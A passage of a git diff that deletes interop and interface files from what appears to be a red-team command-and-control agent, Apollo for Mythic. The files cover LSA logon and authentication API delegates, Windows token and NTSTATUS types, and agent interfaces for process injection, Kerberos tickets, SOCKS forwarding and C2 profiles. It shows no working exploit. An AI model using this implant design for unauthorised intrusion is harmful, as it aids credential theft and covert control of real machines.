a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Kernel32APIs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Kernel32APIs.cs deleted file mode 100644 index 18538630..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Kernel32APIs.cs +++ /dev/null @@ -1,9 +0,0 @@ -using ApolloInterop.Enums; - -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -public class Kernel32APIs -{ - public delegate APIInteropTypes.HANDLE OpenProcess(Win32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); - public delegate bool CloseHandle(APIInteropTypes.HANDLE hObject); -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/LSATypes.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/LSATypes.cs deleted file mode 100644 index e77458a8..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/LSATypes.cs +++ /dev/null @@ -1,100 +0,0 @@ -using System; -using System.Text; -using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -public static class LSATypes -{ - public struct LSA_AUTH_INFORMATION - { - long LastUpdateTime; - uint AuthType; - uint AuthInfoLength; - HANDLE AuthInfo; - } - - public record struct LSA_OUT_STRING - { - public ushort Length; - public ushort MaximumLength; - public HANDLE Buffer; - - public override string ToString() - { - //the handle is a pointer to only the first character of the string we want to return - //we must read each following byte for the length of the string to get the full string - StringBuilder sb = new(); - HANDLE currentCharHandle = Buffer; - - //read each character from the buffer - for (int i = 0; i < Length; i++) - { - char returnedChar = currentCharHandle.GetValue(); - //if the character is a separator or control char, we don't want to include it in the string - if(Char.IsSeparator(returnedChar) is false && Char.IsControl(returnedChar) is false) - { - sb.Append(returnedChar); - } - //move the pointer to the next character - currentCharHandle = currentCharHandle.IncrementBy(1); - } - string result = sb.ToString(); - return result; - } - - public LSA_OUT_STRING(string str) - { - Length = (ushort)str.Length; - MaximumLength = (ushort)(str.Length + 1); - Buffer = new(str.ToCharArray()[0]); - } - } - - public record struct LSA_IN_STRING - { - public ushort Length; - public ushort MaximumLength; - public string Buffer; - - - public LSA_IN_STRING(string str) - { - Length = (ushort)str.Length; - MaximumLength = (ushort)(str.Length + 1); - Buffer = str; - } - } - - - /// - /// Data provided by lsa after a call to LsaGetLogonSessionData - /// Make sure to convert this to a LogonSessionData object before accessing its properties to avoid issues - /// - public record struct SECURITY_LOGON_SESSION_DATA - { - public uint Size; - public LUID LogonId; - public LSA_OUT_STRING UserName; - public LSA_OUT_STRING LogonDomain; - public LSA_OUT_STRING AuthenticationPackage; - public uint LogonType; - public uint Session; - public HANDLE Sid; - public long LogonTime; - public LSA_OUT_STRING LogonServer; - public LSA_OUT_STRING DnsDomainName; - public LSA_OUT_STRING Upn; - } - - public struct QUOTA_LIMITS - { - public uint PagedPoolLimit; - public uint NonPagedPoolLimit; - public uint MinimumWorkingSetSize; - public uint MaximumWorkingSetSize; - public uint PagefileLimit; - public long TimeLimit; - } - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/NtStatus.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/NtStatus.cs deleted file mode 100644 index 431c89ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/NtStatus.cs +++ /dev/null @@ -1,361 +0,0 @@ -global using Ntstatus = uint; - -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -/// -/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 -/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html -/// -public enum Ntstatus : uint -{ - // Success - Success = 0x00000000, - Wait0 = 0x00000000, - Wait1 = 0x00000001, - Wait2 = 0x00000002, - Wait3 = 0x00000003, - Wait63 = 0x0000003f, - Abandoned = 0x00000080, - AbandonedWait0 = 0x00000080, - AbandonedWait1 = 0x00000081, - AbandonedWait2 = 0x00000082, - AbandonedWait3 = 0x00000083, - AbandonedWait63 = 0x000000bf, - UserApc = 0x000000c0, - KernelApc = 0x00000100, - Alerted = 0x00000101, - Timeout = 0x00000102, - Pending = 0x00000103, - Reparse = 0x00000104, - MoreEntries = 0x00000105, - NotAllAssigned = 0x00000106, - SomeNotMapped = 0x00000107, - OpLockBreakInProgress = 0x00000108, - VolumeMounted = 0x00000109, - RxActCommitted = 0x0000010a, - NotifyCleanup = 0x0000010b, - NotifyEnumDir = 0x0000010c, - NoQuotasForAccount = 0x0000010d, - PrimaryTransportConnectFailed = 0x0000010e, - PageFaultTransition = 0x00000110, - PageFaultDemandZero = 0x00000111, - PageFaultCopyOnWrite = 0x00000112, - PageFaultGuardPage = 0x00000113, - PageFaultPagingFile = 0x00000114, - CrashDump = 0x00000116, - ReparseObject = 0x00000118, - NothingToTerminate = 0x00000122, - ProcessNotInJob = 0x00000123, - ProcessInJob = 0x00000124, - ProcessCloned = 0x00000129, - FileLockedWithOnlyReaders = 0x0000012a, - FileLockedWithWriters = 0x0000012b, - - // Informational - Informational = 0x40000000, - ObjectNameExists = 0x40000000, - ThreadWasSuspended = 0x40000001, - WorkingSetLimitRange = 0x40000002, - ImageNotAtBase = 0x40000003, - RegistryRecovered = 0x40000009, - - // Warning - Warning = 0x80000000, - GuardPageViolation = 0x80000001, - DatatypeMisalignment = 0x80000002, - Breakpoint = 0x80000003, - SingleStep = 0x80000004, - BufferOverflow = 0x80000005, - NoMoreFiles = 0x80000006, - HandlesClosed = 0x8000000a, - PartialCopy = 0x8000000d, - DeviceBusy = 0x80000011, - InvalidEaName = 0x80000013, - EaListInconsistent = 0x80000014, - NoMoreEntries = 0x8000001a, - LongJump = 0x80000026, - DllMightBeInsecure = 0x8000002b, - - // Error - Error = 0xc0000000, - Unsuccessful = 0xc0000001, - NotImplemented = 0xc0000002, - InvalidInfoClass = 0xc0000003, - InfoLengthMismatch = 0xc0000004, - AccessViolation = 0xc0000005, - InPageError = 0xc0000006, - PagefileQuota = 0xc0000007, - InvalidHandle = 0xc0000008, - BadInitialStack = 0xc0000009, - BadInitialPc = 0xc000000a, - InvalidCid = 0xc000000b, - TimerNotCanceled = 0xc000000c, - InvalidParameter = 0xc000000d, - NoSuchDevice = 0xc000000e, - NoSuchFile = 0xc000000f, - InvalidDeviceRequest = 0xc0000010, - EndOfFile = 0xc0000011, - WrongVolume = 0xc0000012, - NoMediaInDevice = 0xc0000013, - NoMemory = 0xc0000017, - ConflictingAddresses = 0xc0000018, - NotMappedView = 0xc0000019, - UnableToFreeVm = 0xc000001a, - UnableToDeleteSection = 0xc000001b, - IllegalInstruction = 0xc000001d, - AlreadyCommitted = 0xc0000021, - AccessDenied = 0xc0000022, - BufferTooSmall = 0xc0000023, - ObjectTypeMismatch = 0xc0000024, - NonContinuableException = 0xc0000025, - BadStack = 0xc0000028, - NotLocked = 0xc000002a, - NotCommitted = 0xc000002d, - InvalidParameterMix = 0xc0000030, - ObjectNameInvalid = 0xc0000033, - ObjectNameNotFound = 0xc0000034, - ObjectNameCollision = 0xc0000035, - ObjectPathInvalid = 0xc0000039, - ObjectPathNotFound = 0xc000003a, - ObjectPathSyntaxBad = 0xc000003b, - DataOverrun = 0xc000003c, - DataLate = 0xc000003d, - DataError = 0xc000003e, - CrcError = 0xc000003f, - SectionTooBig = 0xc0000040, - PortConnectionRefused = 0xc0000041, - InvalidPortHandle = 0xc0000042, - SharingViolation = 0xc0000043, - QuotaExceeded = 0xc0000044, - InvalidPageProtection = 0xc0000045, - MutantNotOwned = 0xc0000046, - SemaphoreLimitExceeded = 0xc0000047, - PortAlreadySet = 0xc0000048, - SectionNotImage = 0xc0000049, - SuspendCountExceeded = 0xc000004a, - ThreadIsTerminating = 0xc000004b, - BadWorkingSetLimit = 0xc000004c, - IncompatibleFileMap = 0xc000004d, - SectionProtection = 0xc000004e, - EasNotSupported = 0xc000004f, - EaTooLarge = 0xc0000050, - NonExistentEaEntry = 0xc0000051, - NoEasOnFile = 0xc0000052, - EaCorruptError = 0xc0000053, - FileLockConflict = 0xc0000054, - LockNotGranted = 0xc0000055, - DeletePending = 0xc0000056, - CtlFileNotSupported = 0xc0000057, - UnknownRevision = 0xc0000058, - RevisionMismatch = 0xc0000059, - InvalidOwner = 0xc000005a, - InvalidPrimaryGroup = 0xc000005b, - NoImpersonationToken = 0xc000005c, - CantDisableMandatory = 0xc000005d, - NoLogonServers = 0xc000005e, - NoSuchLogonSession = 0xc000005f, - NoSuchPrivilege = 0xc0000060, - PrivilegeNotHeld = 0xc0000061, - InvalidAccountName = 0xc0000062, - UserExists = 0xc0000063, - NoSuchUser = 0xc0000064, - GroupExists = 0xc0000065, - NoSuchGroup = 0xc0000066, - MemberInGroup = 0xc0000067, - MemberNotInGroup = 0xc0000068, - LastAdmin = 0xc0000069, - WrongPassword = 0xc000006a, - IllFormedPassword = 0xc000006b, - PasswordRestriction = 0xc000006c, - LogonFailure = 0xc000006d, - AccountRestriction = 0xc000006e, - InvalidLogonHours = 0xc000006f, - InvalidWorkstation = 0xc0000070, - PasswordExpired = 0xc0000071, - AccountDisabled = 0xc0000072, - NoneMapped = 0xc0000073, - TooManyLuidsRequested = 0xc0000074, - LuidsExhausted = 0xc0000075, - InvalidSubAuthority = 0xc0000076, - InvalidAcl = 0xc0000077, - InvalidSid = 0xc0000078, - InvalidSecurityDescr = 0xc0000079, - ProcedureNotFound = 0xc000007a, - InvalidImageFormat = 0xc000007b, - NoToken = 0xc000007c, - BadInheritanceAcl = 0xc000007d, - RangeNotLocked = 0xc000007e, - DiskFull = 0xc000007f, - ServerDisabled = 0xc0000080, - ServerNotDisabled = 0xc0000081, - TooManyGuidsRequested = 0xc0000082, - GuidsExhausted = 0xc0000083, - InvalidIdAuthority = 0xc0000084, - AgentsExhausted = 0xc0000085, - InvalidVolumeLabel = 0xc0000086, - SectionNotExtended = 0xc0000087, - NotMappedData = 0xc0000088, - ResourceDataNotFound = 0xc0000089, - ResourceTypeNotFound = 0xc000008a, - ResourceNameNotFound = 0xc000008b, - ArrayBoundsExceeded = 0xc000008c, - FloatDenormalOperand = 0xc000008d, - FloatDivideByZero = 0xc000008e, - FloatInexactResult = 0xc000008f, - FloatInvalidOperation = 0xc0000090, - FloatOverflow = 0xc0000091, - FloatStackCheck = 0xc0000092, - FloatUnderflow = 0xc0000093, - IntegerDivideByZero = 0xc0000094, - IntegerOverflow = 0xc0000095, - PrivilegedInstruction = 0xc0000096, - TooManyPagingFiles = 0xc0000097, - FileInvalid = 0xc0000098, - InsufficientResources = 0xc000009a, - InstanceNotAvailable = 0xc00000ab, - PipeNotAvailable = 0xc00000ac, - InvalidPipeState = 0xc00000ad, - PipeBusy = 0xc00000ae, - IllegalFunction = 0xc00000af, - PipeDisconnected = 0xc00000b0, - PipeClosing = 0xc00000b1, - PipeConnected = 0xc00000b2, - PipeListening = 0xc00000b3, - InvalidReadMode = 0xc00000b4, - IoTimeout = 0xc00000b5, - FileForcedClosed = 0xc00000b6, - ProfilingNotStarted = 0xc00000b7, - ProfilingNotStopped = 0xc00000b8, - NotSameDevice = 0xc00000d4, - FileRenamed = 0xc00000d5, - CantWait = 0xc00000d8, - PipeEmpty = 0xc00000d9, - CantTerminateSelf = 0xc00000db, - InternalError = 0xc00000e5, - InvalidParameter1 = 0xc00000ef, - InvalidParameter2 = 0xc00000f0, - InvalidParameter3 = 0xc00000f1, - InvalidParameter4 = 0xc00000f2, - InvalidParameter5 = 0xc00000f3, - InvalidParameter6 = 0xc00000f4, - InvalidParameter7 = 0xc00000f5, - InvalidParameter8 = 0xc00000f6, - InvalidParameter9 = 0xc00000f7, - InvalidParameter10 = 0xc00000f8, - InvalidParameter11 = 0xc00000f9, - InvalidParameter12 = 0xc00000fa, - ProcessIsTerminating = 0xc000010a, - MappedFileSizeZero = 0xc000011e, - TooManyOpenedFiles = 0xc000011f, - Cancelled = 0xc0000120, - CannotDelete = 0xc0000121, - InvalidComputerName = 0xc0000122, - FileDeleted = 0xc0000123, - SpecialAccount = 0xc0000124, - SpecialGroup = 0xc0000125, - SpecialUser = 0xc0000126, - MembersPrimaryGroup = 0xc0000127, - FileClosed = 0xc0000128, - TooManyThreads = 0xc0000129, - ThreadNotInProcess = 0xc000012a, - TokenAlreadyInUse = 0xc000012b, - PagefileQuotaExceeded = 0xc000012c, - CommitmentLimit = 0xc000012d, - InvalidImageLeFormat = 0xc000012e, - InvalidImageNotMz = 0xc000012f, - InvalidImageProtect = 0xc0000130, - InvalidImageWin16 = 0xc0000131, - LogonServer = 0xc0000132, - DifferenceAtDc = 0xc0000133, - SynchronizationRequired = 0xc0000134, - DllNotFound = 0xc0000135, - IoPrivilegeFailed = 0xc0000137, - OrdinalNotFound = 0xc0000138, - EntryPointNotFound = 0xc0000139, - ControlCExit = 0xc000013a, - InvalidAddress = 0xc0000141, - PortNotSet = 0xc0000353, - DebuggerInactive = 0xc0000354, - CallbackBypass = 0xc0000503, - PortClosed = 0xc0000700, - MessageLost = 0xc0000701, - InvalidMessage = 0xc0000702, - RequestCanceled = 0xc0000703, - RecursiveDispatch = 0xc0000704, - LpcReceiveBufferExpected = 0xc0000705, - LpcInvalidConnectionUsage = 0xc0000706, - LpcRequestsNotAllowed = 0xc0000707, - ResourceInUse = 0xc0000708, - ProcessIsProtected = 0xc0000712, - VolumeDirty = 0xc0000806, - FileCheckedOut = 0xc0000901, - CheckOutRequired = 0xc0000902, - BadFileType = 0xc0000903, - FileTooLarge = 0xc0000904, - FormsAuthRequired = 0xc0000905, - VirusInfected = 0xc0000906, - VirusDeleted = 0xc0000907, - TransactionalConflict = 0xc0190001, - InvalidTransaction = 0xc0190002, - TransactionNotActive = 0xc0190003, - TmInitializationFailed = 0xc0190004, - RmNotActive = 0xc0190005, - RmMetadataCorrupt = 0xc0190006, - TransactionNotJoined = 0xc0190007, - DirectoryNotRm = 0xc0190008, - CouldNotResizeLog = 0xc0190009, - TransactionsUnsupportedRemote = 0xc019000a, - LogResizeInvalidSize = 0xc019000b, - RemoteFileVersionMismatch = 0xc019000c, - CrmProtocolAlreadyExists = 0xc019000f, - TransactionPropagationFailed = 0xc0190010, - CrmProtocolNotFound = 0xc0190011, - TransactionSuperiorExists = 0xc0190012, - TransactionRequestNotValid = 0xc0190013, - TransactionNotRequested = 0xc0190014, - TransactionAlreadyAborted = 0xc0190015, - TransactionAlreadyCommitted = 0xc0190016, - TransactionInvalidMarshallBuffer = 0xc0190017, - CurrentTransactionNotValid = 0xc0190018, - LogGrowthFailed = 0xc0190019, - ObjectNoLongerExists = 0xc0190021, - StreamMiniversionNotFound = 0xc0190022, - StreamMiniversionNotValid = 0xc0190023, - MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, - CantOpenMiniversionWithModifyIntent = 0xc0190025, - CantCreateMoreStreamMiniversions = 0xc0190026, - HandleNoLongerValid = 0xc0190028, - NoTxfMetadata = 0xc0190029, - LogCorruptionDetected = 0xc0190030, - CantRecoverWithHandleOpen = 0xc0190031, - RmDisconnected = 0xc0190032, - EnlistmentNotSuperior = 0xc0190033, - RecoveryNotNeeded = 0xc0190034, - RmAlreadyStarted = 0xc0190035, - FileIdentityNotPersistent = 0xc0190036, - CantBreakTransactionalDependency = 0xc0190037, - CantCrossRmBoundary = 0xc0190038, - TxfDirNotEmpty = 0xc0190039, - IndoubtTransactionsExist = 0xc019003a, - TmVolatile = 0xc019003b, - RollbackTimerExpired = 0xc019003c, - TxfAttributeCorrupt = 0xc019003d, - EfsNotAllowedInTransaction = 0xc019003e, - TransactionalOpenNotAllowed = 0xc019003f, - TransactedMappingUnsupportedRemote = 0xc0190040, - TxfMetadataAlreadyPresent = 0xc0190041, - TransactionScopeCallbacksNotSet = 0xc0190042, - TransactionRequiredPromotion = 0xc0190043, - CannotExecuteFileInTransaction = 0xc0190044, - TransactionsNotFrozen = 0xc0190045, - - MaximumNtStatus = 0xffffffff -} - -public enum Severity -{ - Success, - Informational, - Warning, - Error, -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/NtdllAPIs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/NtdllAPIs.cs deleted file mode 100644 index 93316ab5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/NtdllAPIs.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -public class NtdllAPIs -{ - public delegate void RtlMoveMemory(APIInteropTypes.HANDLE dest, APIInteropTypes.HANDLE src, uint count); -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Secur32APIs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Secur32APIs.cs deleted file mode 100644 index a7e417a8..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Secur32APIs.cs +++ /dev/null @@ -1,20 +0,0 @@ -using ApolloInterop.Enums; -using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; - - -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -public static class Secur32APIs -{ - public delegate NTSTATUS LsaConnectUntrusted(out HANDLE lsaHandle); - public delegate NTSTATUS LsaLookupAuthenticationPackage(HANDLE lsaHandle, HANDLE packageName, out uint authPackage); - public delegate NTSTATUS LsaCallAuthenticationPackage(HANDLE lsaHandle, uint authPackage, HANDLE submitBuffer, int submitBufferLength, out HANDLE returnBuffer, out uint returnBufferLength, out NTSTATUS authPackageStatus); - //the SecurityMode argument is discarded following the documentation specifying it should be ignored - public delegate NTSTATUS LsaRegisterLogonProcess(HANDLE logonProcessName, HANDLE lsaHandle, HANDLE _); - public delegate NTSTATUS LsaDeregisterLogonProcess(HANDLE lsaHandle); - public delegate NTSTATUS LsaEnumerateLogonSessions(out uint logonSessionCount, out HANDLE logonSessionList); - public delegate NTSTATUS LsaFreeReturnBuffer(HANDLE buffer); - public delegate NTSTATUS LsaGetLogonSessionData(HANDLE LogonIdHandle, out HANDLE LogonSessionDataHandle); - public delegate NTSTATUS LsaLogonUser(HANDLE lsaHandle, LSATypes.LSA_IN_STRING originName, Win32.LogonType logonType, uint authPackage, HANDLE submitBuffer, uint submitBufferLength, HANDLE localgroups, WinNTTypes.TOKEN_SOURCE sourceContext, out HANDLE profileBuffer, out uint profileBufferLength, out WinNTTypes.LUID logonId, out HANDLE token, out LSATypes.QUOTA_LIMITS quotas, out NTSTATUS subStatus); - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/WinNTTypes.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/WinNTTypes.cs deleted file mode 100644 index c25d2500..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/WinNTTypes.cs +++ /dev/null @@ -1,144 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Text; -using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; - -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - - -public static class WinNTTypes -{ - public struct LUID - { - public uint LowPart; - public int HighPart; - - public static LUID FromString(string luid) - { - if (String.IsNullOrWhiteSpace(luid)) - { - return new LUID(); - } - var uintVal = Convert.ToUInt64(luid, 16); - - return new LUID - { - LowPart = (uint)(uintVal & 0xffffffffL), - HighPart = (int)(uintVal >> 32) - }; - } - - public bool IsNull => LowPart == 0 && HighPart == 0; - - public override string ToString() - { - var value = ((ulong)HighPart << 32) + LowPart; - return $"0x{value:x}"; - } - } - - - public readonly struct ACCESS_MASK - { - public const uint DELETE = 65536; - public const uint READ_CONTROL = 131072; - public const uint SYNCHRONIZE = 1048576; - public const uint WRITE_DAC = 262144; - public const uint WRITE_OWNER = 524288; - public const uint GENERIC_READ = 2147483648; - public const uint GENERIC_WRITE = 1073741824; - public const uint GENERIC_EXECUTE = 536870912; - public const uint GENERIC_ALL = 268435456; - public const uint STANDARD_RIGHTS_READ = 131072; - public const uint STANDARD_RIGHTS_WRITE = 131072; - public const uint STANDARD_RIGHTS_EXECUTE = 131072; - public const uint STANDARD_RIGHTS_REQUIRED = 983040; - public const uint STANDARD_RIGHTS_ALL = 2031616; - } - - public struct OBJECT_ATTRIBUTES - { - public uint Length; - public HANDLE RootDirectory; - public HANDLE ObjectName; // -> UNICODE_STRING HANDLE - public uint Attributes; - public HANDLE SecurityDescriptor; - public HANDLE SecurityQualityOfService; - } - - [StructLayout(LayoutKind.Sequential)] - public record struct UNICODE_STRING - { - public ushort Length; - public ushort MaximumLength; - public HANDLE Buffer; - - public UNICODE_STRING(string str) - { - Length = (ushort)((str.Length +1) * 2); - MaximumLength = Length; - Buffer = (HANDLE)Marshal.StringToHGlobalUni(str); - } - - public override string ToString() - { - return Marshal.PtrToStringUni(Buffer); - } - } - - public struct SID_AND_ATTRIBUTES - { - public HANDLE Sid; - public uint Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct TOKEN_STATISTICS - { - public LUID TokenId; - public LUID AuthenticationId; - public ulong ExpirationTime; - public TOKEN_TYPE TokenType; - public SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; - public uint DynamicCharged; - public uint DynamicAvailable; - public uint GroupCount; - public uint PrivilegeCount; - public LUID ModifiedId; - } - - public struct TOKEN_GROUPS - { - public uint GroupCount; - public SID_AND_ATTRIBUTES Groups; - } - - public record struct TOKEN_SOURCE - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public byte[] SourceName; - public LUID SourceIdentifier; - - public TOKEN_SOURCE(string name) - { - SourceName = new byte[8]; - Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0); - } - - } - - public enum SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - public enum TOKEN_TYPE - { - TokenPrimary = 1, - TokenImpersonation - } - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IAgent.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IAgent.cs deleted file mode 100644 index 35a923f1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IAgent.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System.Threading; -using ApolloInterop.Features.KerberosTickets; - -namespace ApolloInterop.Interfaces -{ - public interface IAgent - { - // Start the agent. - void Start(); - - // Kill the agent. - void Exit(); - - // Set agent sleep - void SetSleep(int seconds, double jitter=0); - - // Do sleep until a wait handle triggers - void Sleep(WaitHandle[] handles = null); - - // Return if we're connected to Mythic or another peer - bool IsAlive(); - - // Return the current UUID of the agent. - string GetUUID(); - - // Set a new UUID of the agent. - void SetUUID(string newUUID); - - // Lock standard handles of the agent. - void AcquireOutputLock(); - - // Release the lock on the standard handles of the agent. - void ReleaseOutputLock(); - - // Return the ITaskManager interface. Manages all aspects of tasking. - ITaskManager GetTaskManager(); - - // Return the IPeerManager interface. Manages connected P2P nodes. - IPeerManager GetPeerManager(); - - // Return the ISocksManager interface. Responsible for forwarding SOCKS packets. - ISocksManager GetSocksManager(); - - // Return the IRpfwdManager interface. Responsible for forwarding Rpfwd packets. - IRpfwdManager GetRpfwdManager(); - - // Return the IC2ProfileManager interface. Used to add, update, delete, or change C2 rotations. - IC2ProfileManager GetC2ProfileManager(); - - // Return the IFileManager interface. Used to get and push files to Mythic. - IFileManager GetFileManager(); - - // Return the IIdentityManager interface. Used for updating currently executing identity context. - IIdentityManager GetIdentityManager(); - - // Return IProcessManager interface. Used for creating new processes. - IProcessManager GetProcessManager(); - - // Return IInjectionManager interface. Used for managing how injection is performed and injecting into processes - IInjectionManager GetInjectionManager(); - - // Return ITicketManager interface. Used for managing Kerberos tickets. - ITicketManager GetTicketManager(); - - // Return IApi interface. Used for resolving native Win32 API calls, RSA cryptography, and otherwise. - IApi GetApi(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IApi.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IApi.cs deleted file mode 100644 index 9d867218..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IApi.cs +++ /dev/null @@ -1,21 +0,0 @@ -using ApolloInterop.Classes; -using System; -using ApolloInterop.Classes.Api; - -namespace ApolloInterop.Interfaces -{ - public interface IApi - { - T GetLibraryFunction(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate; - T GetLibraryFunction(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate; - T GetLibraryFunction(Library library, string functionHash, long key, bool canLoadFromDisk=true, bool resolveForwards = true) where T : Delegate; - - string NewUUID(); - - RSAKeyGenerator NewRSAKeyPair(int szKey); - - // Maybe other formats in the future? - ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = ""); - - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IC2Profile.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IC2Profile.cs deleted file mode 100644 index b53f5983..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IC2Profile.cs +++ /dev/null @@ -1,25 +0,0 @@ -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Types.Delegates; -using ApolloInterop.Enums.ApolloEnums; - -namespace ApolloInterop.Interfaces -{ - public interface IC2Profile - { - bool Connect(CheckinMessage checkinMessage, OnResponse onResp); - - void Start(); - - bool Send(IMythicMessage message); - - bool SendRecv(T message, OnResponse onResponse); - - bool Recv(MessageType mt, OnResponse onResp); - - // Basically tells the caller that this C2 profile is stateful, - // and as such it supports only the SendRecv operation. - bool IsOneWay(); - - bool IsConnected(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IC2ProfileManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IC2ProfileManager.cs deleted file mode 100644 index 60c9a1af..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IC2ProfileManager.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace ApolloInterop.Interfaces -{ - public interface IC2ProfileManager - { - bool AddEgress(IC2Profile profile); - bool AddIngress(IC2Profile profile); - - IC2Profile[] GetEgressCollection(); - IC2Profile[] GetIngressCollection(); - - IC2Profile[] GetConnectedEgressCollection(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IChunkMessage.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IChunkMessage.cs deleted file mode 100644 index 4dcb03fa..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IChunkMessage.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace ApolloInterop.Interfaces -{ - public interface IChunkMessage - { - int GetChunkNumber(); - int GetTotalChunks(); - int GetChunkSize(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptographicRoutine.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptographicRoutine.cs deleted file mode 100644 index d7993e1c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptographicRoutine.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace ApolloInterop.Interfaces -{ - public interface ICryptographicRoutine - { - byte[] Encrypt(byte[] data); - byte[] Decrypt(byte[] data); - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptography.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptography.cs deleted file mode 100644 index bfb42fb5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptography.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace ApolloInterop.Interfaces -{ - public interface ICryptography - { - string Encrypt(string plaintext); - string Decrypt(string encrypted); - bool UpdateUUID(string uuid); - bool UpdateKey(string key); - - string GetUUID(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptographySerializer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptographySerializer.cs deleted file mode 100644 index f8db4104..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ICryptographySerializer.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace ApolloInterop.Interfaces -{ - public interface ICryptographySerializer : ISerializer - { - bool UpdateUUID(string uuid); - bool UpdateKey(string key); - - string GetUUID(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IEncryptedFileStore.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IEncryptedFileStore.cs deleted file mode 100644 index 8165c7c9..00000000 --- 